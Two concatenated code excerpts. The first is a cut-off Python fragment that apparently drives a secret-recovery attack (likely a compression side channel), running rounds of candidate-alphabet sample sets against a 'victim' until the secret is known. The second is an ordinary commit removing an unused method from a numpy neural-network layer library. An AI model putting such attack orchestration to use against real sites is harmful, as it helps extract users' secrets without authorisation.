            knownsecret=state['knownsecret']
        )
        next_round.save()

        self._round = next_round

    def _create_round_samplesets(self):
        state = {
            'knownalphabet': self.round.knownalphabet,
            'knownsecret': self.round.knownsecret
        }

        candidate_alphabets = self._build_candidates(state)

        a = SampleSet(
            round=self._round,
            candidatealphabet=candidate_alphabets[0]
        )
        a.save()

        b = SampleSet(
            round=self._round,
            candidatealphabet=candidate_alphabets[1]
        )
        b.save()

    def _attack_is_completed(self):
        return len(self._round.knownsecret) == self._victim.target.secretlength

    def work_completed(self):
        '''Receives and consumes work completed from the victim, analyzes
        the work, and returns True if the attack is complete (victory),
        otherwise returns False if more work is needed.

        It also creates the new work that is needed.

        Post-condition: Either the attack is completed, or there is work to
        do (there are unstarted samplesets in the database).'''

        # TODO: Call sniffer to obtain sniffer data and stop data collection
        self._mark_current_work_completed()

        round_samplesets = SampleSet.objects.filter(round=self._round)
        unstarted_samplesets = round_samplesets.filter(started=None)

        if unstarted_samplesets:
            # Batch is not yet complete, we need to collect more samplesets
            # that have already been created for this batch.
            return False

        # All batches are completed.
        self._analyze_current_round()

        if self._round_is_completed():
            # Advance to the next round.
            self._create_next_round()

            if self._attack_is_completed():
                return True

        # Not enough confidence, we need to create more samplesets to be
        # collected for this round.
        self._create_round_samplesets()

        return False

    def begin_attack(self):
        self._create_round(self._get_first_round_state())
<|endoftext|>


<commit_before>import numpy as np

class Blob:
    def __init__(self, data):
        self.value = data
        self.grad  = np.zeros_like(self.value)
        self.shape = data.shape

    def reset_gradient(self):
        self.grad[:] = 0.0

class Variable:
    def __init__(self, data):
        self.value = data
        self.grad  = np.zeros_like(data)

class Layer:
    def init_params(self):
        pass

    def get_params(self):
        return None

    def reset_gradient(self):
        pass

    def forward(self):
        pass

    def backward(self):
        pass

class Input(Layer):
    def __init__(self, batch_size, input_size):
        self.top = Blob(np.zeros((batch_size, input_size)))

class InnerProduct(Layer):
    def __init__(self, prev_layer, num_outputs):
        self.bottom      = prev_layer.top
        # num rows in bottom is the batch size
        # num columns in bottom is each input size
        self.batch_size  = self.bottom.value.shape[0]
        self.num_inputs  = self.bottom.value.shape[1]
        self.num_outputs = num_outputs
        self.top         = Blob(np.zeros((self.batch_size, self.num_outputs)))

    def init_params(self):
        self.weights = Variable(np.random.rand(self.num_inputs, self.num_outputs) - 0.5)
        self.bias    = Variable(np.full(self.num_outputs, 0.1))

    def get_params(self):
        return [self.weights, self.bias]

    def update_params(self, step_size):
        self.weights.value += self.weights.grad * step_size
        self.bias.value    += self.bias.grad * step_size

    def reset_gradient(self):
        self.top.reset_gradient()
        self.weights.grad[:] = 0.0
        self.bias.grad[:]    = 0.0

    def forward(self):
        self.top.value = np.dot(self.bottom.value, self.weights.value) + self.bias.value

    def backward(self):
        self.bottom.grad += np.dot(self.top.grad, self.weights.value.transpose())

        for i in range(self.batch_size):
            self.weights.grad += np.dot(self.bottom.value[i, np.newaxis].transpose(), self.top.grad[i, np.newaxis])

        self.bias.grad += np.sum(self.top.grad, axis=0)

class LinearInterpolation(Layer):
    def __init__(self, prev_layer1, prev_layer2):
        self.bottom1 = prev_layer1.top
        self.bottom2 = prev_layer2.top
        # check if input layers have same shape
        assert(self.bottom1.value.shape == self.bottom2.value.shape)

        self.batch_size = self.bottom1.shape[0]
        self.num_inputs = self.bottom1.shape[1]
        self.top        = Blob(np.zeros_like(self.bottom1.value))

    def init_params(self):
        self.a      = Variable(0.5)

    def get_params(self):
        return [self.a]

    def reset_gradient(self):
        self.top.reset_gradient()
        self.a.grad = 0.0

    def forward(self):
        self.top.value = (1.0 - self.a.value) * self.bottom1.value + self.a.value * self.bottom2.value

    def backward(self):
        self.bottom1.grad += (1.0 - self.a.value) * self.top.grad
        self.bottom2.grad += self.a.value * self.top.grad
        self.a.grad        = np.sum(np.multiply((self.bottom2.value - self.bottom1.value), self.top.grad))

class Sin(Layer):
    def __init__(self, prev_layer):
        self.bottom = prev_layer.top
        self.top    = Blob(np.zeros_like(self.bottom.value))

    def reset_gradient(self):
        self.top.reset_gradient()

    def forward(self):
        self.top.value = np.sin(self.bottom.value)

    def backward(self):
        self.bottom.grad += np.multiply(np.cos(self.bottom.value), self.top.grad)

class ReLu(Layer):
    def __init__(self, prev_layer):
        self.bottom = prev_layer.top
        self.top    = Blob(np.zeros_like(self.bottom.value))

    def reset_gradient(self):
        self.top.reset_gradient()

    def forward(self):
        self.top.value = np.maximum(0, self.bottom.value)

    def backward(self):
        self.bottom.grad += np.multiply((self.bottom.value > 0), self.top.grad)

class Sigmoid(Layer):
    def __init__(self, prev_layer):
        self.bottom = prev_layer.top
        self.top    = Blob(np.zeros_like(self.bottom.value))

    def reset_gradient(self):
        self.top.reset_gradient()

    def forward(self):
        self.top.value = 1.0 / (np.exp(-self.bottom.value) + 1)

    def backward(self):
        self.bottom.grad += np.multiply(np.multiply(1 - self.top.value, self.top.value), self.top.grad)

class Softmax(Layer):
    def __init__(self, prev_layer):
        self.bottom      = prev_layer.top
        self.batch_size  = self.bottom.shape[0]
        self.num_inputs  = self.bottom.shape[1]
        self.top         = Blob(np.zeros_like(self.bottom.value))

    def reset_gradient(self):
        self.top.reset_gradient()

    def forward(self):
        exp_bottom     = np.exp(self.bottom.value)
        self.top.value = exp_bottom / np.sum(exp_bottom, axis = 1)[:, np.newaxis]

    def backward(self):
        # there's probably a vectorized way of doing this...
        # J_i,j = top_i * (kronecker_i,j - top_j)
        jacobian = np.zeros((self.num_inputs, self.num_inputs))
        for x in range(self.batch_size):
            for i in range(self.num_inputs):
                for j in range(self.num_inputs):
                    if i == j:
                        jacobian[i][j] = self.top.value[x][i] * (1 - self.top.value[x][i])
                    else:
                        jacobian[i][j] = - self.top.value[x][i] * self.top.value[x][j]

            self.bottom.grad[x] += np.dot(self.top.grad[x], jacobian)

class Tanh(Layer):
    def __init__(self, prev_layer):
        self.bottom = prev_layer.top
        self.top    = Blob(np.zeros_like(self.bottom.value))

    def reset_gradient(self):
        self.top.reset_gradient()

    def forward(self):
        exp2 = np.exp(2 * self.bottom.value)
        self.top.value = (exp2 - 1) / (exp2 + 1)

    def backward(self):
        self.bottom.grad += np.multiply(1 - np.square(self.top.value), self.top.grad)

class SoftmaxCrossEntropyLoss(Layer):
    def __init__(self, prev_layer, labels_layer):
        self.bottom     = prev_layer.top
        self.labels     = labels_layer.top
        self.batch_size = self.bottom.value.shape[0]
        self.num_inputs = self.bottom.value.shape[1]
        self.top        = Blob(np.zeros_like(self.bottom.value))
        self.loss       = Blob(np.zeros(1))

    def reset_gradient(self):
        self.top.reset_gradient()

    def cross_entropy(self, i, l):
        return -np.sum(np.multiply(np.log(i), l), axis = 1)

    def forward(self):
        exp_bottom      = np.exp(self.bottom.value)
        self.top.value  = exp_bottom / np.sum(exp_bottom, axis = 1)[:, np.newaxis]
        self.loss.value = np.mean(self.cross_entropy(self.top.value, self.labels.value))

    def backward(self):
        labels_sum = np.sum(self.labels.value, axis=1, keepdims=True)
        self.bottom.grad += (np.multiply(self.top.value, labels_sum) - self.labels.value) / self.batch_size

class MSELoss(Layer):
    def __init__(self, prev_layer, labels_layer):
        self.bottom     = prev_layer.top
        self.labels     = labels_layer.top
        self.batch_size = self.bottom.value.shape[0]
        self.num_inputs = self.bottom.value.shape[1]
        self.loss       = Blob(np.zeros(1))

    def forward(self):
        self.loss.value = np.mean(np.square(self.bottom.value - self.labels.value))

    def backward(self):
        self.bottom.grad += (2.0 / (self.num_inputs * self.batch_size)) * (self.bottom.value - self.labels.value)

class CrossEntropyLoss(Layer):
    def __init__(self, prev_layer, labels_layer):
        self.bottom     = prev_layer.top
        self.labels     = labels_layer.top
        self.batch_size = self.bottom.value.shape[0]
        self.num_inputs = self.bottom.value.shape[1]
        self.loss       = Blob(np.zeros(1))

    def cross_entropy(self, i, l):
        return -np.sum(np.multiply(np.log(i), l), axis = 1)

    def forward(self):
        self.loss.value = np.mean(self.cross_entropy(self.bottom.value, self.labels.value))

    def backward(self):
        self.bottom.grad += - (self.labels.value / self.bottom.value) / self.batch_size

<commit_msg>Remove dead code.<commit_after>import numpy as np

class Blob:
    def __init__(self, data):
        self.value = data
        self.grad  = np.zeros_like(self.value)
        self.shape = data.shape

    def reset_gradient(self):
        self.grad[:] = 0.0

class Variable:
    def __init__(self, data):
        self.value = data
        self.grad  = np.zeros_like(data)

class Layer:
    def init_params(self):
        pass

    def get_params(self):
        return None

    def reset_gradient(self):
        pass

    def forward(self):
        pass

    def backward(self):
        pass

class Input(Layer):
    def __init__(self, batch_size, input_size):
        self.top = Blob(np.zeros((batch_size, input_size)))

class InnerProduct(Layer):
    def __init__(self, prev_layer, num_outputs):
        self.bottom      = prev_layer.top
        # num rows in bottom is the batch size
        # num columns in bottom is each input size
        self.batch_size  = self.bottom.value.shape[0]
        self.num_inputs  = self.bottom.value.shape[1]
        self.num_outputs = num_outputs
        self.top         = Blob(np.zeros((self.batch_size, self.num_outputs)))

    def init_params(self):
        self.weights = Variable(np.random.rand(self.num_inputs, self.num_outputs) - 0.5)
        self.bias    = Variable(np.full(self.num_outputs, 0.1))

    def get_params(self):
        return [self.weights, self.bias]

    def reset_gradient(self):
        self.top.reset_gradient()
        self.weights.grad[:] = 0.0
        self.bias.grad[:]    = 0.0

    def forward(self):
        self.top.value = np.dot(self.bottom.value, self.weights.value) + self.bias.value

    def backward(self):
        self.bottom.grad += np.dot(self.top.grad, self.weights.value.transpose())

        for i in range(self.batch_size):
            self.weights.grad += np.dot(self.bottom.value[i, np.newaxis].transpose(), self.top.grad[i, np.newaxis])

        self.bias.grad += np.sum(self.top.grad, axis=0)

class LinearInterpolation(Layer):
    def __init__(self, prev_layer1, prev_layer2):
        self.bottom1 = prev_layer1.top
        self.bottom2 = prev_layer2.top
        # check if input layers have same shape
        assert(self.bottom1.value.shape == self.bottom2.value.shape)

        self.batch_size = self.bottom1.shape[0]
        self.num_inputs = self.bottom1.shape[1]
        self.top        = Blob(np.zeros_like(self.bottom1.value))

    def init_params(self):
        self.a      = Variable(0.5)

    def get_params(self):
        return [self.a]

    def reset_gradient(self):
        self.top.reset_gradient()
        self.a.grad = 0.0

    def forward(self):
        self.top.value = (1.0 - self.a.value) * self.bottom1.value + self.a.value * self.bottom2.value

    def backward(self):
        self.bottom1.grad += (1.0 - self.a.value) * self.top.grad
        self.bottom2.grad += self.a.value * self.top.grad
        self.a.grad        = np.sum(np.multiply((self.bottom2.value - self.bottom1.value), self.top.grad))

class Sin(Layer):
    def __init__(self, prev_layer):
        self.bottom = prev_layer.top
        self.top    = Blob(np.zeros_like(self.bottom.value))

    def reset_gradient(self):
        self.top.reset_gradient()

    def forward(self):
        self.top.value = np.sin(self.bottom.value)

    def backward(self):
        self.bottom.grad += np.multiply(np.cos(self.bottom.value), self.top.grad)

class ReLu(Layer):
    def __init__(self, prev_layer):
        self.bottom = prev_layer.top
        self.top    = Blob(np.zeros_like(self.bottom.value))

    def reset_gradient(self):
        self.top.reset_gradient()

    def forward(self):
        self.top.value = np.maximum(0, self.bottom.value)

    def backward(self):
        self.bottom.grad += np.multiply((self.bottom.value > 0), self.top.grad)

class Sigmoid(Layer):
    def __init__(self, prev_layer):
        self.bottom = prev_layer.top
        self.top    = Blob(np.zeros_like(self.bottom.value))

    def reset_gradient(self):
        self.top.reset_gradient()

    def forward(self):
        self.top.value = 1.0 / (np.exp(-self.bottom.value) + 1)

    def backward(self):
        self.bottom.grad += np.multiply(np.multiply(1 - self.top.value, self.top.value), self.top.grad)

class Softmax(Layer):
    def __init__(self, prev_layer):
        self.bottom      = prev_layer.top
        self.batch_size  = self.bottom.shape[0]
        self.num_inputs  = self.bottom.shape[1]
        self.top         = Blob(np.zeros_like(self.bottom.value))

    def reset_gradient(self):
        self.top.reset_gradient()

    def forward(self):
        exp_bottom     = np.exp(self.bottom.value)
        self.top.value = exp_bottom / np.sum(exp_bottom, axis = 1)[:, np.newaxis]

    def backward(self):
        # there's probably a vectorized way of doing this...
        # J_i,j = top_i * (kronecker_i,j - top_j)
        jacobian = np.zeros((self.num_inputs, self.num_inputs))
        for x in range(self.batch_size):
            for i in range(self.num_inputs):
                for j in range(self.num_inputs):
                    if i == j:
                        jacobian[i][j] = self.top.value[x][i] * (1 - self.top.value[x][i])
                    else:
                        jacobian[i][j] = - self.top.value[x][i] * self.top.value[x][j]

            self.bottom.grad[x] += np.dot(self.top.grad[x], jacobian)

class Tanh(Layer):
    def __init__(self, prev_layer):
        self.bottom = prev_layer.top
        self.top    = Blob(np.zeros_like(self.bottom.value))

    def reset_gradient(self):
        self.top.reset_gradient()

    def forward(self):
        exp2 = np.exp(2 * self.bottom.value)
        self.top.value = (exp2 - 1) / (exp2 + 1)

    def backward(self):
        self.bottom.grad += np.multiply(1 - np.square(self.top.value), self.top.grad)

class SoftmaxCrossEntropyLoss(Layer):
    def __init__(self, prev_layer, labels_layer):
        self.bottom     = prev_layer.top
        self.labels     = labels_layer.top
        self.batch_size = self.bottom.value.shape[0]
        self.num_inputs = self.bottom.value.shape[1]
        self.top        = Blob(np.zeros_like(self.bottom.value))
        self.loss       = Blob(np.zeros(1))

    def reset_gradient(self):
        self.top.reset_gradient()

    def cross_entropy(self, i, l):
        return -np.sum(np.multiply(np.log(i), l), axis = 1)

    def forward(self):
        exp_bottom      = np.exp(self.bottom.value)
        self.top.value  = exp_bottom / np.sum(exp_bottom, axis = 1)[:, np.newaxis]
        self.loss.value = np.mean(self.cross_entropy(self.top.value, self.labels.value))

    def backward(self):
        labels_sum = np.sum(self.labels.value, axis=1, keepdims=True)
        self.bottom.grad += (np.multiply(self.top.value, labels_sum) - self.labels.value) / self.batch_size

class MSELoss(Layer):
    def __init__(self, prev_layer, labels_layer):
        self.bottom     = prev_layer.top
        self.labels     = labels_layer.top
        self.batch_size = self.bottom.value.shape[0]
        self.num_inputs = self.bottom.value.shape[1]
        self.loss       = Blob(np.zeros(1))

    def forward(self):
        self.loss.value = np.mean(np.square(self.bottom.value - self.labels.value))

    def backward(self):
        self.bottom.grad += (2.0 / (self.num_inputs * self.batch_size)) * (self.bottom.value - self.labels.value)

class CrossEntropyLoss(Layer):
    def __init__(self, prev_layer, labels_layer):
        self.bottom     = prev_layer.top
        self.labels     = labels_layer.top
        self.batch_size = self.bottom.value.shape[0]
        self.num_inputs = self.bottom.value.shape[1]
        self.loss       = Blob(np.zeros(1))

    def cross_entropy(self, i, l):
        return -np.sum(np.multiply(np.log(i), l), axis = 1)

    def forward(self):
        self.loss.value = np.mean(self.cross_entropy(self.bottom.value, self.labels.value))

    def backward(self):
        self.bottom.grad += - (self.labels.value / self.bottom.value) / self.batch_size

<|endoftext|>